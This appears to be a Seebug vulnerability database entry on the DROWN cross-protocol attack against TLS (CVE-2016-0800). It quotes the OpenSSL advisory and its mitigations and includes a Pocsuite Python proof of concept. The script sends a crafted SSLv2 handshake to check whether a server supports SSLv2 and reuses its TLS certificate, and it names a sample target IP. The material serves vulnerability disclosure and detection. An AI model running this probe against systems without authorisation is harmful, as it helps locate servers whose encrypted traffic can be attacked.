Cross-protocol attack on TLS using SSLv2 (DROWN) (CVE-2016-0800)

2016-03-02T00:00:00
ID SSV:90853
Type seebug
Reporter Root
Modified 2016-03-02T00:00:00

Description

现在流行的服务器和客户端使用TLS加密, 然而由于错误配置, 许多服务器仍然支持SSLv2, 这是一种古老的协议, 许多客户端已经不支持 SSLv2。

DROWN攻击可以威胁到还在支持 SSLv2 的服务端和客户端,允许攻击者通过发送 probe 到支持 SSLv2 的使用相同密钥的服务端和客户端解密 TLS 通信。

官方关于漏洞的公告:

A cross-protocol attack was discovered that could lead to decryption of TLS sessions by using a server supporting SSLv2 and EXPORT cipher suites as a Bleichenbacher RSA padding oracle. Note that traffic between clients and non-vulnerable servers can be decrypted provided another server supporting SSLv2 and EXPORT ciphers (even with a different protocol such as SMTP, IMAP or POP) shares the RSA keys of the non-vulnerable server. This vulnerability is known as DROWN (CVE-2016-0800).

Recovering one session key requires the attacker to perform approximately 2^50 computation, as well as thousands of connections to the affected server. A more efficient variant of the DROWN attack exists against unpatched OpenSSL servers using versions that predate 1.0.2a, 1.0.1m, 1.0.0r and 0.9.8zf released on 19/Mar/2015 (see CVE-2016-0703 below).

Users can avoid this issue by disabling the SSLv2 protocol in all their SSL/TLS servers, if they've not done so already. Disabling all SSLv2 ciphers is also sufficient, provided the patches for CVE-2015-3197 (fixed in OpenSSL 1.0.1r and 1.0.2f) have been deployed. Servers that have not disabled the SSLv2 protocol, and are not patched for CVE-2015-3197 are vulnerable to DROWN even if all SSLv2 ciphers are nominally disabled, because malicious clients can force the use of SSLv2 with EXPORT ciphers.

OpenSSL 1.0.2g and 1.0.1s deploy the following mitigation against DROWN:

SSLv2 is now by default disabled at build-time. Builds that are not configured with "enable-ssl2" will not support SSLv2. Even if "enable-ssl2" is used, users who want to negotiate SSLv2 via the version-flexible SSLv23_method() will need to explicitly call either of:

``` SSL_CTX_clear_options(ctx, SSL_OP_NO_SSLv2); or SSL_clear_options(ssl, SSL_OP_NO_SSLv2);

```

as appropriate. Even if either of those is used, or the application explicitly uses the version-specific SSLv2_method() or its client or server variants, SSLv2 ciphers vulnerable to exhaustive search key recovery have been removed. Specifically, the SSLv2 40-bit EXPORT ciphers, and SSLv2 56-bit DES are no longer available.

In addition, weak ciphers in SSLv3 and up are now disabled in default builds of OpenSSL. Builds that are not configured with "enable-weak-ssl-ciphers" will not provide any "EXPORT" or "LOW" strength ciphers.

OpenSSL 1.0.2 users should upgrade to 1.0.2g OpenSSL 1.0.1 users should upgrade to 1.0.1s

This issue was reported to OpenSSL on December 29th 2015 by Nimrod Aviram and Sebastian Schinzel. The fix was developed by Viktor Dukhovni and Matt Caswell of OpenSSL.

可以通过 https://test.drownattack.com/?site= 来检查站点是否受影

DROWN Scanner

https://github.com/nimia/public_drown_scanner

参考链接:

https://mta.openssl.org/pipermail/openssl-announce/2016-March/000066.html

http://m.bobao.360.cn/news/appdetail/2787.html?from=timeline&isappinstalled=0

                                        
                                            
                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import urlparse

from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.poc import POCBase
from pocsuite.api.utils import url2ip


def check_tls(host, port):
    """
    params:
        host[str]: target host ip
        port[int]: target host port
    """
    client_hello = '16030100d8010000d403037d408377c8e5204623867604ab0ee4a140043a4e383f770a1e6b66c2d45d34e820de8656a211d79fa9809e9ae6404bb7bcc372afcdd6f51882e39ac2241a8535090016c02bc02fc00ac009c013c01400330039002f0035000a0100007500000014001200000f7777772e65746973616c61742e6567ff01000100000a00080006001700180019000b00020100002300003374000000100017001502683208737064792f332e3108687474702f312e31000500050100000000000d001600140401050106010201040305030603020304020202'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))
    s.send(client_hello.decode('hex'))
    try:
        data = s.recv(1024*1024)
    except socket.timeout:
        data = ''

    if data:
        server_hello_len = int(data[3:5].encode('hex'),16)
        index = 5
        index += server_hello_len
        cert_msg = data[index:]

        return cert_msg


def check_drown(host, port):
    """
    params:
        host[str]: target host ip
        port[int]: target host port
    """
    client_hello_payload = '803e0100020015001000100100800200800600400400800700c00800800500806161616161616161616161616161616161616161616161616161616161616161'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))

    s.sendall(client_hello_payload.decode('hex'))
    try:
        server_hello = s.recv(10*1024)
    except socket.timeout:
        #print(" [-] Not connected SSLv2")
        return False
    except socket.error:
        return False

    try:
        # parse incoming packet to extract the certificate
        index = 0
        length = server_hello[index:index+2].encode('hex')
        index += 2
        msg_type = server_hello[index].encode('hex')
        index += 1
        session_id = server_hello[index].encode('hex')
        index += 1
        cert_type = server_hello[index].encode('hex')
        index += 1
        ssl_version = server_hello[index:index+2]
        index += 2
        cert_len = int(server_hello[index:index+2].encode('hex'),16)
        #print('cert_len', cert_len)
        index += 2
        cipher_spec_len = server_hello[index:index+2]
        index += 2
        conn_id = server_hello[index:index+2]
        index += 2
        cert = server_hello[index:cert_len+1]
        data = check_tls(host, port)
        if data:
            print(" [*] Check the TLS CERT and SSLv2 CERT")
            if cert.encode('hex') in data.encode('hex'):
                print(" [+] SSLv2 Enable - Same cert")
            else:
                print(" [+] SSLv2 Enable - Not same cert")
            return True
        else:
            return False
    except Exception as e:
        # most exception is "string index out of range"
        return False

    s.close()


class OpenSSL_DROWN(POCBase):
    vulID = '0'                 # vul ID
    version = '1'
    author = 'janes'
    vulDate = '2016-03-01'
    createDate = '2017-02-16'
    updateDate = '2017-02-16'
    references = ['https://www.openssl.org/blog/blog/2016/03/01/an-openssl-users-guide-to-drown/']
    name = 'OpenSSL Drown跨协议攻击TLS漏洞 POC'
    appPowerLink = 'https://www.openssl.org'
    appName = 'OpenSSL'
    appVersion = '1.0.2a, 1.0.1.m'
    vulType = 'Information Disclosure'
    desc = '''
        DROWN漏洞主要利用SSLv2协议的脆弱性对TLS协议进行攻击。攻击者通过中间人攻击等手段截获和解密用户和服务器之间的加密通信,包括但不限于用户名和密码、信用卡号、电子邮件、即时消息,以及敏感文件。
    '''
    samples = ['50.232.43.188']

    def _verify(self):
        result = {}
        output = Output(self)

        target_ip = url2ip(self.url)
        url = urlparse.urlparse(self.url)
        port = url.port or 443

        if check_drown(target_ip, port):
            output.success(result)
        else:
            output.fail('Not support SSLv2 connection. Not Vulnerable')
        return output

    def _attack(self):
        return self._verify()


register(OpenSSL_DROWN)